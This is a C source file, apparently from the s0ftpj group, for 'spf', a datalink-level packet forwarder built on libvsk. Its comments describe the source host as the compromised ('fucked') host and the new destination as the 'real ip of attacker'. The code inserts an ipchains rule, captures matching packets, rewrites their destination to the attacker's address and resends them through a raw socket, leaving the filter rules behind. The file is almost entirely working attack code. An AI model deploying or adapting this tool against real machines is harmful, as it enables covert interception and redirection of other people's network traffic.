Simple Packet Forwarder for Linux on the datalink level. Uses Libvsk.
c2ecda53d1964843248b9ebc23e2bc7249f516f195cae8a84c10f8ea0c299168
/*
** vecna - vecna@s0ftpj.org
** simple packet forwarder from datalink level
** using libvsk - unique file "spf.c"
*/
#include "libvsk.h"
#include <errno.h>
extern int errno;
#define fatal(M) { \
perror(M); \
exit(0); \
}
int check_dup(struct ipkt *);
void setport(char *, char *, int[]);
int main(int argc, char **argv)
{
int dlsfd, rsfd, opt, proto, forward, hdrincl =1, offset =0, x,
port[4]={0, 0xFFFF, 0, 0xFFFF};
/*
** datalink sockfd, raw sockfd, options index, proto
** listened, offset is size datalink protocol header
** port[4] array for puts source/dest/high/low port
*/
char *iface;
/*
** interface name.
*/
char *ipsrc, *ipdst;
/*
** ipsrc =fucked host, ipdst =bnc ip
*/
unsigned int real;
/*
** real ip of attacker where forward packets
*/
char *rcvd =malloc(sizeof(struct ipkt));
/*
** memory area where put packet, packet is readed with
** datalink header, offset is size of this header and
** is used on main cicle, *rcvd is delclared here for
** make only one allocation.
*/
printf("\t simple packet forwarded for multiple pourpose\n");
printf("\t by vecna - vecna@s0ftpj.org - www.s0ftpj.org\n\n");
if(argc != 11)
{
printf( "\t usage %s -t -n -p -i -s"
"\n\t -t source of packet"
"\n\t -n new destination"
"\n\t -s service (UDP/TCP) type (ICMP) 0 if any"
"\n\t -p protocol"
"\n\t -i interface"
"\n",argv[0]);
exit(0);
}
while(( opt = getopt(argc, argv, "t:n:i:p:s:")) != -1)
{
struct protoent *pe;
switch(opt)
{
case 't':
ipsrc =optarg;
break;
case 'n':
if(( real =inet_addr(optarg)) == -1)
{
errno =EINVAL;
fatal("-r option required IP");
}
break;
case 'p':
if ((pe = getprotobyname(optarg)) == NULL)
fatal("getprotobyname");
proto = pe->p_proto;
break;
case 'i':
iface =optarg;
break;
case 's':
if(!atoi(optarg))
break;
port[2] =port[3] =atoi(optarg);
break;
default:
if(optarg)
fprintf(stderr,"%s on",optarg);
errno =EINVAL;
fatal(" getopt()");
break;
}
}
ipdst =NULL;
if(( dlsfd =set_vsk_param(ipsrc, ipdst, port,
iface, proto, IO_IN, IP_FW_INSERT, 0, 0))<0)
fatal("set_vsk: IP_FW_INSERT");
/*
** IP_FW_DELETE must be used on signal(SIGCLOSE, unset_vsk());
** or use "ipchains -F", as in this example where filtering
** rules is not clean after end of program.
*/
if((offset =get_offset(dlsfd, iface)) <0)
fatal("get device offset");
if((forward = socket(AF_INET, SOCK_RAW, proto)) == -1)
fatal("forward socket - SOCK_RAW");
if((x = setsockopt(forward, IPPROTO_IP, IP_HDRINCL,
&hdrincl, sizeof(hdrincl))) == -1)
fatal("setsockopt - IP_HDRINCL");
while(1)
{
struct ipkt *packet;
static int last_id;
read(dlsfd, rcvd, sizeof(struct ipkt));
(char *)packet = rcvd + offset;
if(check_dup(packet))
continue;
/* questo e` il ciclo principale, in ordine:
leggo sul socket a datalink quello che mi arriva, faccio un cast in una
struttura ipkt che contiene ip header + buffer dati (in questo momento non
conosco ancora il protocollo di livello inferiore) dopo aver sommato l'offset
per levare l'header di livello 2, poi con check_dup controllo se e` il
pacchetto che ho appena ristrasmesso o se e` un altro pacchetto, poi con
check_packet controllo se e` uno dei pacchetti filtrati, poi ... vediamo il
codice ... */
if(check_packet(packet, packet->ip.protocol))
{
struct sockaddr_in sin;
struct udphdr *udp;
struct tcphdr *tcp;
struct icmphdr *icmp;
/** other manipulation on iphdr can applied here **/
packet->ip.daddr = real;
packet->ip.check = 0x00;
/* bhe, e` abbastanza semplice, qui ho il pacchetto in una struttura
ipkt, a seconda del campo "protocol" riesco a fare degli opportuni cast e
lavorare anche su quell'header, dopo aver letto o cambiato o fatto qualunque
cosa al pacchetto... */
switch(packet->ip.protocol)
{
case IPPROTO_ICMP:
(char *)icmp =(char *)packet
+sizeof(struct iphdr);
sin.sin_port =htons(0);
break;
case IPPROTO_TCP:
(char *)tcp =(char *)packet
+sizeof(struct iphdr);
sin.sin_port =tcp->dest;
break;
case IPPROTO_UDP:
(char *)udp =(char *)packet
+sizeof(struct iphdr);
sin.sin_port =udp->dest;
break;
default:
printf(" PROTOCOL NOT SUPP\n");
break;
/*
** other manipulation at icmp/udp/tcp header
** can applied on switch()
*/
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = packet->ip.daddr;
x =resend(forward, packet, sin,
ntohs(packet->ip.tot_len), NULL, 0);
if(x < 0)
fatal("sendto on forwarding packet");
}
}
free(rcvd);
/* never used :) */
}
int check_dup(struct ipkt *packet)
{
static int last_id;
int id =htons(packet->ip.id);
if(id ==htons(last_id))
return 1;
last_id =packet->ip.id;
return 0;
}